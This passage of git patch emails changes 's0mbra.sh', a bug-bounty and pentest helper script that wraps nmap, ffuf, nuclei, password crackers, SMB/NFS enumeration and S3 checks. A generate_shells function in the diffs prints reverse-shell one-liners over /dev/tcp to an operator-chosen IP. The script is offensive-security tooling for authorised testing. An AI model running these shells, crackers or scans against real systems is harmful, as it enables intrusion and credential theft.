100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -101,18 +101,6 @@ ssh_to_john() { rockyou_john "$1".hash } -# static code analysis of npm module installed in ~/node_modules -# with nodestructor and semgrep -npm_scan() { - echo -e "$BLUE[+] Starting static code analysis of $1 module with nodestructor and semgrep...$CLR" - nodestructor -r ~/node_modules/"$1" --verbose --skip-test-files - semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/*.js - exitcode=$(ls "$HOME"/node_modules/"$1"/*/ >/dev/null 2>&1) - if [ "$exitcode" == 0 ]; then - semgrep --lang javascript --config "$HACKING_HOME"/tools/semgrep-rules/contrib/nodejsscan/ "$HOME"/node_modules/"$1"/**/*.js - fi - echo -e "\n\n[+]Done." -} # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep @@ -122,12 +110,6 @@ snyktest() { echo -e "\n\n[+]Done." } -# static code analysis of single JavaScript code -javascript_sca() { - echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" - nodestructor --include-browser-patterns --include-urls "$1" - echo -e "\n\n[+]Done." -} # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { @@ -539,15 +521,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; - npm_scan) - npm_scan "$2" - ;; snyktest) snyktest ;; - javascript_sca) - javascript_sca "$2" - ;; dex_to_jar) dex_to_jar "$2" ;; @@ -618,12 +594,11 @@ case "$cmd" in echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" - echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "$BLUE:: SAST ::$CLR" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" - echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "$BLUE:: RE ::$CLR" + echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From 3450a0c76a8c101d7548d0769239c5eb155e4274 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 26 Dec 2021 10:56:04 +0000 Subject: [PATCH 150/369] [s0mbra] um - unminify JS file --- s0mbra.sh | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index e88c4c9..699b751 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -101,6 +101,13 @@ ssh_to_john() { rockyou_john "$1".hash } +# runs unminify on $1 JavaScript file +um() { + FILENAME=$1 + echo -e "$BLUE[+] Unminify $FILENAME...$CLR" + unminify $FILENAME > unmimified.js + echo -e "\n\n[+]Done." +} # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep @@ -110,7 +117,6 @@ snyktest() { echo -e "\n\n[+]Done." } - # enumerates SMB shares on [IP] - port 445 has to be open smb_enum() { if [[ -z $2 ]]; then @@ -521,6 +527,9 @@ case "$cmd" in ssh_to_john) ssh_to_john "$2" ;; + um) + um "$2" + ;; snyktest) snyktest ;; @@ -595,6 +604,7 @@ case "$cmd" in echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: SAST ::$CLR" + echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: RE ::$CLR" From f26ad840d2593b7464279a28c0e07dad64ed5f7b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 27 Dec 2021 15:26:56 +0000 Subject: [PATCH 151/369] [s0mbra] update recon() --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index 699b751..c106360 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -223,7 +223,7 @@ recon() { NAME=$(echo $url | cut -d'/' -f3) ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) From 3293c44d151b8d8f1031b77f33d5c65ea2a4ab67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 28 Dec 2021 12:20:40 +0000 Subject: [PATCH 152/369] [s0mbra] recon() improvements - added some options for subfinder --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index c106360..151a7df 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -206,7 +206,7 @@ recon() { # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" - subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp # nmap echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" From c2e35a2f5031e2eb3a381d53c0bb24def6eee031 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 29 Dec 2021 12:57:50 +0000 Subject: [PATCH 153/369] [s0mbra] menu improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 151a7df..8395c4c 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -611,9 +611,9 @@ case "$cmd" in echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" - echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" + echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" + echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" + echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" From b94e38963bdb3e6888183a315eb1c44162140b27 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 30 Dec 2021 16:09:55 +0000 Subject: [PATCH 154/369] [s0mbra] menu improvements --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 8395c4c..22a434b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -588,9 +588,9 @@ case "$cmd" in echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" - echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t\t\t -> get object identified by [key] from AWS S3 [bucket]" + echo -e "$BLUE:: CLOUD ::$CLR" + echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" + echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" echo -e "$BLUE:: PENTEST TOOLS ::$CLR" echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" From dc5d249980e69bc86e252c5418505d4812c69f9c Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 4 Jan 2022 00:03:28 +0000 Subject: [PATCH 155/369] [s0mbra] improvements --- s0mbra.sh | 124 +++++++++++++++++++++++++++--------------------------- 1 file changed, 62 insertions(+), 62 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 22a434b..dca12dc 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -28,37 +28,37 @@ set_ip() { # runs $2 port(s) against IP; then -sV -sC -A against every open port found full_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan against all ports on $1 ...$CLR" + echo -e "$BLUE[s0mbra] Running full nmap scan against all ports on $1 ...$CLR" ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml else - echo -e "$BLUE[+] Running full nmap scan against $2 port(s) on $1 ...$CLR" + echo -e "$BLUE[s0mbra] Running full nmap scan against $2 port(s) on $1 ...$CLR" echo -e " ...search open ports...$CLR" ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CLR" + echo -e "$BLUE[s0mbra] running version detection + nse scripts against $ports...$CLR" nmap -p"$ports" -sV -sC -A -n "$1" -oN ./"$1".log -oX ./"$1".xml fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } # runs --top-ports $2 against IP quick_nmap_scan() { if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running nmap scan against all ports on $1 ...$CYAN" + echo -e "$BLUE[s0mbra] Running nmap scan against all ports on $1 ...$CYAN" nmap -p- $1 else - echo -e "$BLUE[+] Running nmap scan against top $2 ports on $1 ...$CYAN" + echo -e "$BLUE[s0mbra] Running nmap scan against top $2 ports on $1 ...$CYAN" nmap --top-ports $2 $1 fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } # runs Python 3 built-in HTTP server on [PORT] http() { - echo -e "$BLUE[+] Running Simple HTTP Server in current directory on port $1$CLR" + echo -e "$BLUE[s0mbra] Running Simple HTTP Server in current directory on port $1$CLR" echo -e "$GRAY\navailable network interfaces:$YELLOW" ifconfig | grep -e 'inet\s' |cut -d' ' -f 2 echo -e "$GRAY\navailable files/folders in SERVER ROOT: $CLR" @@ -74,7 +74,7 @@ http() { # runs john with rockyou.txt against hash type [FORMAT] and file [HASHES] rockyou_john() { - echo -e "$BLUE[+] Running john with rockyou dictionary against $1 of type $2$CLR" + echo -e "$BLUE[s0mbra] Running john with rockyou dictionary against $1 of type $2$CLR" echo > "$HACKING_HOME"/tools/jtr/run/john.pot if [[ -n $2 ]]; then "$HACKING_HOME"/tools/jtr/run/john --wordlist="$HACKING_HOME"/dictionaries/rockyou.txt "$1" --format="$2" @@ -86,35 +86,35 @@ rockyou_john() { # ZIP password cracking with rockyou.txt rockyou_zip() { - echo -e "$BLUE[+] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." + echo -e "$BLUE[s0mbra] Running $MAGENTA zip2john $BLUE and prepare hash for hashcat..." "$HACKING_HOME"/tools/jtr/run/zip2john "$1" | cut -d ':' -f 2 > ./hashes.txt - echo -e "$BLUE[+] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" + echo -e "$BLUE[s0mbra] Starting $MAGENTA hashcat $BLUE (using $YELLOW rockyou.txt $BLUE dictionary against $YELLOW hashes.txt $BLUE file)...$CLR" hashcat -m 13600 ./hashes.txt ~/hacking/dictionaries/rockyou.txt } # converts id_rsa to JTR format for cracking SSH key ssh_to_john() { - echo -e "$BLUE[+] Converting SSH id_rsa key to JTR format to crack it$CLR" + echo -e "$BLUE[s0mbra] Converting SSH id_rsa key to JTR format to crack it$CLR" python "$HACKING_HOME"/tools/jtr/run/sshng2john.py "$1" > "$1".hash - echo -e "$BLUE[+] We have a hash.\n" - echo -e "$BLUE[+] Let's now crack it!" + echo -e "$BLUE[s0mbra] We have a hash.\n" + echo -e "$BLUE[s0mbra] Let's now crack it!" rockyou_john "$1".hash } # runs unminify on $1 JavaScript file um() { FILENAME=$1 - echo -e "$BLUE[+] Unminify $FILENAME...$CLR" + echo -e "$BLUE[s0mbra] Unminify $FILENAME...$CLR" unminify $FILENAME > unmimified.js - echo -e "\n\n[+]Done." + echo -e "\n\n[s0mbra]Done." } # static code analysis of npm module installed in ~/node_modules # with nodestructor and semgrep snyktest() { - echo -e "$BLUE[+] Starting snyk test in current directory...$CLR" + echo -e "$BLUE[s0mbra] Starting snyk test in current directory...$CLR" snyk test - echo -e "\n\n[+]Done." + echo -e "$BLUE[s0mbra] Done." } # enumerates SMB shares on [IP] - port 445 has to be open @@ -131,16 +131,16 @@ smb_enum() { password="$3" fi - echo -e "$BLUE[+] Enumerating SMB shares with nmap on $1...$CLR" + echo -e "$BLUE[s0mbra] Enumerating SMB shares with nmap on $1...$CLR" nmap -Pn -p445 --script=smb-enum-shares.nse,smb-enum-users.nse "$1" - echo -e "$YELLOW\n[+] smbmap -u $username -p $password against\t\t -> $1...$CLR" + echo -e "$YELLOW\n[s0mbra] smbmap -u $username -p $password against\t\t -> $1...$CLR" smbmap -H "$1" -u "$username" -p "$password" 2>&1 | tee __disks for d in $(grep 'READ' __disks | cut -d' ' -f 1); do - echo -e "$YELLOW\n[+] content of $d directory saved to $1__shares_listings $CLR" + echo -e "$YELLOW\n[s0mbra] content of $d directory saved to $1__shares_listings $CLR" smbmap -H "$IP" -u "$username" -p "$password" -R "$d" >> "$1"__shares_listings done rm -f __disks - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # download file from SMB share @@ -157,52 +157,52 @@ smb_get_file() { password="$3" fi - echo -e "$BLUE[+] Downloading file $4 from $1...$CLR" + echo -e "$BLUE[s0mbra] Downloading file $4 from $1...$CLR" echo -e "$GREEN" smbmap -H "$1" -u "$2" -p "$3" --download "$4" echo -e "$CLR" - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # mounts SMB share at ./mnt/shares smb_mount() { - echo -e "$BLUE[+] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" + echo -e "$BLUE[s0mbra] Mounting SMB $2 share from $1 at ./mnt/shares...$CLR" mkdir -p mnt/shares echo "//$3@$1/$2" mount_smbfs "//$3@$1/$2" ./mnt/shares - echo -e "$YELLOW\n[+] Locally available shares:\n.$CLR" + echo -e "$YELLOW\n[s0mbra] Locally available shares:\n.$CLR" ls -l ./mnt/shares - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # umounts from ./mnt/shares and delete it smb_umount() { - echo -e "$BLUE[+] Unmounting SMB share(s) from ./mnt/shares...$CLR" + echo -e "$BLUE[s0mbra] Unmounting SMB share(s) from ./mnt/shares...$CLR" umount ./mnt/shares rm -rf ./mnt - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # if RPC on port 111 shows in rpcinfo that nfs on port 2049 is available # we can enumerate nfs shares available: nfs_enum() { - echo -e "$BLUE[+] Enumerating nfs shares (TCP 2049) on $1...$CLR" + echo -e "$BLUE[s0mbra] Enumerating nfs shares (TCP 2049) on $1...$CLR" nmap -Pn -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount "$1" - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # executes httpx on the list of host(s) htpx() { - echo -e "$BLUE[+] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" + echo -e "$BLUE[s0mbra] Running httpx enumeration on $1 domain(s) file; save output to $2...$CLR\n" httpx -silent -status-code -web-server -tech-detect -l $1 -mc 200,403,500 -o $2 - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) START_TIME=$(date) - echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" + echo -e "$BLUE[s0mbra] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" @@ -227,13 +227,13 @@ recon() { done END_TIME=$(date) - echo -e "\n$GREEN[+] Finished!" + echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? @@ -252,7 +252,7 @@ ransack() { TMPDIR=$(pwd)/s0mbra START_TIME=$(date) - echo -e "$BLUE[+] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" + echo -e "$BLUE[s0mbra] Running bruteforced, dirty, noisy as hell recon on $PROTO://$HOSTNAME : nmap + ffuf + nuclei...$CLR" # onaws echo -e "\n$GREEN--> onaws? $CLR\n" @@ -274,42 +274,42 @@ ransack() { nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -exclude-severity info -u $PROTO://$HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log END_TIME=$(date) - echo -e "\n$GREEN[+] Finished!" + echo -e "\n$GREEN[s0mbra] Finished!" echo -e "\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } kiterunner() { HOSTNAME=$1 - echo -e "$BLUE[+] Running kiterunner using apis file...$CLR\n" + echo -e "$BLUE[s0mbra] Running kiterunner using apis file...$CLR\n" kr scan apis -w $DICT_HOME/routes-large.kite -x 20 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411 - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # Python Static Source Code analysis pysast() { DIR_NAME=$1 - echo -e "$BLUE[+] Running pyflakes against $DIR_NAME $CLR\n" + echo -e "$BLUE[s0mbra] Running pyflakes against $DIR_NAME $CLR\n" python3 -m pyflakes $DIR_NAME - echo -e "$BLUE[+] Running mypy against $DIR_NAME $CLR\n" + echo -e "$BLUE[s0mbra] Running mypy against $DIR_NAME $CLR\n" python3 -m mypy $DIR_NAME - echo -e "\n$BLUE[+] Running bandit against $DIR_NAME $CLR\n" + echo -e "\n$BLUE[s0mbra] Running bandit against $DIR_NAME $CLR\n" python3 -m bandit -r $DIR_NAME - echo -e "\n$BLUE[+] Running vulture against $DIR_NAME $CLR\n" + echo -e "\n$BLUE[s0mbra] Running vulture against $DIR_NAME $CLR\n" python3 -m vulture $DIR_NAME - echo -e "\n$BLUE[+] Done.$CLR" + echo -e "\n$BLUE[s0mbra] Done.$CLR" } # checking AWS S3 bucket s3() { - echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" + echo -e "$BLUE[s0mbra] Checking AWS S3 $1 bucket$CLR" aws s3 ls "s3://$1" --no-sign-request 2> /dev/null if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ content of the bucket can be listed!$CLR" @@ -356,12 +356,12 @@ s3() { elif [[ "$?" != 0 ]]; then echo -e "\n$RED- nope, can't grant control with --grant-full-control ... :/$CLR" fi - echo -e "\n[+] Done." + echo -e "$BLUE[s0mbra] Done." } s3go() { clear - echo -e "$BLUE[+] Getting $2 from $1 bucket...$CLR" + echo -e "$BLUE[s0mbra] Getting $2 from $1 bucket...$CLR" aws s3api get-object-acl --bucket "$1" --key "$2" 2> /dev/null if [[ "$?" == 0 ]]; then @@ -380,25 +380,25 @@ s3go() { dex_to_jar() { clear - echo -e "$BLUE[+] Exporting $1 into .jar...$CLR" + echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" d2j-dex2jar --force $1 } decompile_jar() { clear - echo -e "$BLUE[+] Opening $1 in JD-Gui...$CLR" + echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } jadx() { clear - echo -e "$BLUE[+] Opening $1 in JADX...$CLR" + echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } apk() { clear - echo -e "$BLUE[+] OK, let's see this APK...$CLR" + echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" unzip -d unzipped $1 if [[ "$?" == 0 ]]; then echo -e "\n$GREEN+ Unizpped, now run apktool on it...$CLR" @@ -410,14 +410,14 @@ apk() { abe() { clear - echo -e "$BLUE[+] Extracting $1.ab backup into $1.tar...$CLR" + echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/android-backup-extractor/build/libs/abe.jar unpack $1.ab $1.tar if [[ "$?" == 0 ]]; then - echo -e "\n$GREEN[+] Success! $1.ab unpacked and $1.tar was created..." - echo -e "[+] Let's untar some files, shall we?$CLR" + echo -e "\n$GREEN[s0mbra] Success! $1.ab unpacked and $1.tar was created..." + echo -e "[s0mbra] Let's untar some files, shall we?$CLR" rm -rf $1_extracted && mkdir ./$1_extracted tar -xf $1.tar -C $1_extracted - echo -e "\n$GREEN[+] tar extracted, folder(s) created:$CLR" + echo -e "\n$GREEN[s0mbra] tar extracted, folder(s) created:$CLR" ls -l $1_extracted elif [[ "$?" != 0 ]]; then echo -e "\n$RED- Damn... :/$CLR" @@ -429,7 +429,7 @@ fu() { # adjust here to add/remove HTTP response status code(s) to match on: HTTP_RESP_CODES=200,206,301,302,403,500 - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + echo -e "$BLUE[s0mbra] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then @@ -443,14 +443,14 @@ fu() { else ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi - echo -e "$BLUE\n[+] Done! $CLR" + echo -e "$BLUE\n[s0mbra] Done! $CLR" } generate_shells() { clear port=$2 - echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" + echo -e "$BLUE[s0mbra] OK, here are your shellz...\n$CLR" echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" @@ -481,7 +481,7 @@ generate_shells() { } pwn() { - echo -e "$BLUE[+] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" + echo -e "$BLUE[s0mbra] Running automated recon on $1...\n Puede tomar un poco tiempo, tienes que ser paciente... ;) $YELLOW" } cmd=$1 From eb4bcf350b2604151f5062c179c9e1a73b13a808 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 5 Jan 2022 10:21:57 +0000 Subject: [PATCH 156/369] [s0mbra] lookaround() to quickly figure out new program scope --- s0mbra.sh | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index dca12dc..602d71b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -198,6 +198,23 @@ htpx() { echo -e "$BLUE[s0mbra] Done." } +# quick subdomain enum + available HTTP server(s) - to find out if a program is +# actually worth to look into :D +lookaround() { + TMPDIR=$(pwd) + echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + + # subfinder + echo -e "\n$GREEN--> subfinder$CLR\n" + subfinder -nW -all -v -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + + # httpx + echo -e "\n$GREEN--> httpx$CLR\n" + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + + echo -e "\n$BLUE[s0mbra] Done.$CLR" +} + # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) @@ -497,6 +514,9 @@ case "$cmd" in htpx) htpx "$2" ;; + lookaround) + lookaround "$2" + ;; recon) recon "$2" ;; @@ -581,6 +601,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" + echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN ransack $GRAY[HOST] [PROTO http/https]$CLR\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" From 42ae695af5f18dff4a4e51cf4ae1925a73b27d68 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 9 Jan 2022 11:20:49 +0000 Subject: [PATCH 157/369] [s0mbra] Adjust nmap settigns --- s0mbra.sh | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 602d71b..d22ee3a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -29,13 +29,13 @@ set_ip() { full_nmap_scan() { if [[ -z "$2" ]]; then echo -e "$BLUE[s0mbra] Running full nmap scan against all ports on $1 ...$CLR" - ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') + ports=$(nmap -p- --min-rate=1000 -T4 $1 | grep open | cut -d'/' -f 1 